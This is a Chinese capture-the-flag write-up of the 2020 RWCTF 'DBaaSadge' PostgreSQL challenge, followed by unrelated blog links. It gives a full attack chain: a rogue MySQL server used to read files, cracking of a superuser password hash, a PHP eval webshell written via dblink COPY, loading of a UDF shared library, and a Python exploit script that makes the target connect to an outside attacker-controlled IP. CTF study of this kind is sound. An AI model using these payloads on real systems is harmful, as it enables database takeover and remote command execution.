数据库题目

2020RWCTF DBaaSadge WP

这是一个很有意思的题目,难到让我绝望,跟着大佬smity的思路跑一下,求大佬抱抱。

https://mp.weixin.qq.com/s/jvA5j9OPMFIPvP5267gk-Q

0x01 题目

一打开就是题目的代码直接执行,可以直接执行pg的代码,但是长度不能超过100.(本身是给了dockerfile)先进行必要的信息收集。

select version();
select user;

然后大佬说这不是10.5之前修复的那个CVE漏洞,而且那是一道pwn题,这是一个web题。然后想到的就是怎么样可以通过psql的数据库语句来进行命令执行,但是这里的用户是realuser,不是superuser用户,所以网上大部分的方法是不能够使用的。

所以到现在想到的就是,提权加上getshell,来达到命令执行的效果。

0x02 dockfile分析

其中被圈出来的是和psql有关的操作。比如说,psql -c "command"这是命令行模式直接执行psql语句的用法。咱们再来细细的分析这个dockerfile。

1. 创建了一个没有super权限的realuser 密码是 realpass
2. 安装了dblink mysql_fdw的两个扩展
3. dblink,能够在一个数据库中操作另外一个远程的数据库。
mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式

这里大佬想到了 rouge-mysql,而我就是个菜鸡,数据库题目一个都不会。(这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)

msql_fdw插件的使用:https://blog.csdn.net/bingluo8787/article/details/100958098

可以知道和直接使用mysql没有什么区别(嘻嘻

CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
#创建一个server
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
#创建链接用户名
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test'); select * from test; DROP SERVER mysql_server

这样我们在vps上面挂个脚本就可以了。https://github.com/allyshka/Rogue-MySql-Server

这样就可以任意文件读取,但是有个问题,这有什么用了....dokcer都给了。下面就是继续提权了白。

下面给出3个方法

1.寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
2.在pg_hba.conf中如果把host配置为trust是可以进行免密登录的
3.类比mysql ,在本地寻找密码存储的文件。通过vps来读。

然后我们一个一个来验证。

首先,我们来寻找这个神奇的conf文件。

难道要成功了吗?(忘记看启动文件了。。

再见谢谢。每次docker重启就是刷新一个五位数的随机密码(记住,重点)。

验证第二条思路:

读取上面那个文件。

很明显是不能够登陆了。然后,五位数密码爆破,去死把。

最后一个思路:

既然能够读取,百度查psql的密码文件落户到本地的哪个位置,在哪个目录,我们直接读取之。

mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置。

然后用文件内容查找的命令

egrep -r "内容" 目录

然后使用md5在线解密或者爆破脚本使用。

这里面有历史密码。

md5爆破工具

http://c3rb3r.openwall.net/mdcrack
使用方法
http://www.91ri.org/1285.html
MDCrack-sse.exe -algorithm=MD5 --append=postgres 8997a9f1da6bbfbc2aaad2cb295a1b0b

拿到我想要的账号和密码,现在就是和上面的dblink联合在一起,来登陆这个超级用户

6k35mpostgres
select dblink_connect('host=127.0.0.1 port=5432 dbname=postgres user=postgres password=6k35m');

成功登陆。

SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);

下面就是如何将上面这句长长的payload打进去了,有长度限制。。。。

如果是敏感字符的考察 ,可以用postgre的存储过程。
create OR REPLACE FUNCTION D(a INTEGER, b INTEGER) RETURNS INTEGER AS $$ SELECT a+b; $$ LANGUAGE SQL;
但是存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。

正解:

通过子查询,将poc语句写到自己的mysql服务器,利用mysql_fdw扩展连接mysql服务器select出来。

postgre的常用命令

\c - realuser 切换用户到realuser
DROP FOREIGN TABLE a66; 丢掉外部表a66
DROP USER MAPPING FOR realuser SERVER a66_server; 去掉用户关系 对于realuser server a66
DROP SERVER a66_server;

这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:

poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"

现在文件已经写完了,但是我们没有什么权限

开始打UDF,学习https://blog.csdn.net/qq_33020901/article/details/79032774

https://github.com/sqlmapproject/udfhack

这是sqlmap上面的udf插件。

linux换源:https://blog.csdn.net/u012308586/article/details/102953882

在makefile里面添加一行。执行make 10

编译完成之后

接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.

为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/testeval.so');
SELECT lo_unlink(12345);
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");

在将hex数据插入之后,运行一次poc,然后再将下面这个插入,再运行一次命令即可。

下面脚本的使用条件:

vps上面开启mysql服务3306端口 账号admin 密码123456
有数据库b b里有
表a 里面 s字段是 存储链接ps数据库super的host和端口和账号和密码
m字段是 命令执行readflag
表b 里面 s字段同上
m字段是 so文件的加载 听说命令执行有更好的方式不使用udf;
import requests
import hashlib
import random
import uuid
url ="http://192.168.72.89:60080/?sql=" #填你的IP
ip="42.192.142.64"
port="3306"
server_name="aaaa"
dbname=server_name
Table_name=server_name
'''
任意文件的poc
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
''' ''' #插入数据
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password '123456');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
#poc4 = "select dblink_connect((select s from a66),(select m from a66));"
poc5="DROP FOREIGN TABLE a66;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7 = "DROP SERVER a66_server;"
'''
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'42.192.142.64 ',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'admin', password 'q79475432');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc8="CREATE FOREIGN TABLE a67(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'a');"
poc9="SELECT * FROM dblink((select s from a67), (select m from a67)) as t10(record text);"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);" poc5="DROP FOREIGN TABLE a66;DROP FOREIGN TABLE a67;"
poc6="DROP USER MAPPING FOR realuser SERVER a66_server;"
poc7="DROP SERVER a66_server;"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
r8=requests.get(url+poc8)
print(r8.text)
r9=requests.get(url+poc9)
print(r9.text) r5=requests.get(url+poc5)
print(r5.text)
r6=requests.get(url+poc6)
print(r6.text)
r7=requests.get(url+poc7)
print(r7.text)

RWCTF2020 DBaaSadge 复现的更多相关文章

  1. C++复现经典游戏——扫雷

    国庆小长假,当大家都去看人山人海的时候,我独自一人狂码代码.这两天想要实现的内容是Windows上的一个经典游戏——扫雷.相信90后和一些上班族对此并不陌生.然而,从win8开始,扫雷就不再是Wind ...

  2. [troubleshoot][archlinux][X] plasma(KDE) 窗口滚动刷新冻结(约延迟10s)(已解决,root cause不明,无法再次复现)

    现象: konsole,setting等plasma的系统应用反应缓慢,在滚动条滚动时,尤为明显. 触发条件: 并不是十分明确的系统滚动升级(Syu)后,产生. 现象收集: 可疑的dmesg [ :: ...

  3. 时空上下文视觉跟踪(STC)算法的解读与代码复现(转)

    时空上下文视觉跟踪(STC)算法的解读与代码复现 zouxy09@qq.com http://blog.csdn.net/zouxy09 本博文主要是关注一篇视觉跟踪的论文.这篇论文是Kaihua Z ...

  4. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  5. CVE-2017-8464远程命令执行漏洞(震网漏洞)复现

    前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...

  6. Samba远程代码执行漏洞(CVE-2017-7494)本地复现

    一.复现环境搭建 搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162): 靶机:debian (192.168.217.150). 二.Debian安装并配置s ...

  7. Office远程代码执行漏洞CVE-2017-0199复现

    在刚刚结束的BlackHat2017黑帽大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是Office系列办公软件中的一个逻辑漏洞,和常规的内存破坏型漏洞不同,这类漏洞无需复 ...

  8. Node.js CVE-2017-1484复现(详细步骤)

    0x00 前言 早上看Sec-news安全文摘的时候,发现腾讯安全应急响应中心发表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent. ...

  9. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

随机推荐

  1. Springboot mini - Solon详解(八)- Solon的缓存框架使用和定制

    Springboot min -Solon 详解系列文章: Springboot mini - Solon详解(一)- 快速入门 Springboot mini - Solon详解(二)- Solon ...

  2. 「 洛谷 」P4539 [SCOI2006]zh_tree

    小兔的话 推荐 小兔的CSDN [SCOI2006]zh_tree 题目限制 内存限制:250.00MB 时间限制:1.00s 标准输入输出 题目知识点 思维 动态规划 \(dp\) 区间\(dp\) ...

  3. virtualbox sharefolder mount fail

    ubuntu 14.04.1 LTS 64bit 安装完GuestAdditions后,在终端输入 sudo mount -t vboxsf sharename /mnt/share 提示错误:mou ...

  4. BUUCTF | [网鼎杯 2020 朱雀组]phpweb

    一道比较简单的题,不过对PHP还是不够熟悉 知识点 1.PHP date函数 PHP date() 函数用于对日期或时间进行格式化. 语法 date(format,timestamp) 参数 描述 f ...

  5. javaScript继承的几种实现方式?

    js继承总共分成5种,包括构造函数式继承.原型链式继承.组合式继承.寄生式继承和寄生组合式继承. 构造函数式继承 首先来看第一种,构造函数式继承,顾名思义,也就是利用函数去实现继承:构造函数继承,使用 ...

  6. 写一个简单的HTML留言板

    最近有点懒,没码什么字,防止遗忘,从头开始码,写一个简单的HTML留言板.包含两个文件,book.html还有style.css,放在同一目录下. book.html 1 <!DOCTYPE h ...

  7. Maven大全

    Maven 命令 mvn clean compile -Dmaven.test.skip=true 编译代码,检查代码安全性 Maven 注解 用maven管理库依赖,有个好处就是连同库的依赖的全部j ...

  8. JavaSwing 船只停靠管理可视化(三)

    JavaSwing 船只停靠管理可视化(一) JavaSwing 船只停靠管理可视化(二) JavaSwing 船只停靠管理可视化(三) JavaSwing 船只停靠管理可视化(四) JavaSwin ...

  9. 记一次MAVEN依赖事故

    笔者昨天遇到的背景是这样的  MAVEN A模块有一个子模块  需要依赖B模块下的一个子模块  我在B项目内通过mvn deploy上传子模块 但之后在A模块引用  怎么引用都不行  提示 org.a ...

  10. UNION An Unreferenced Metric for Evaluating Open-ended Story Generation精读

    UNION An Unreferenced Metric for Evaluating Open-ended Story Generation精读 UNION: 一种评估开放故事生成无参考文本依赖me ...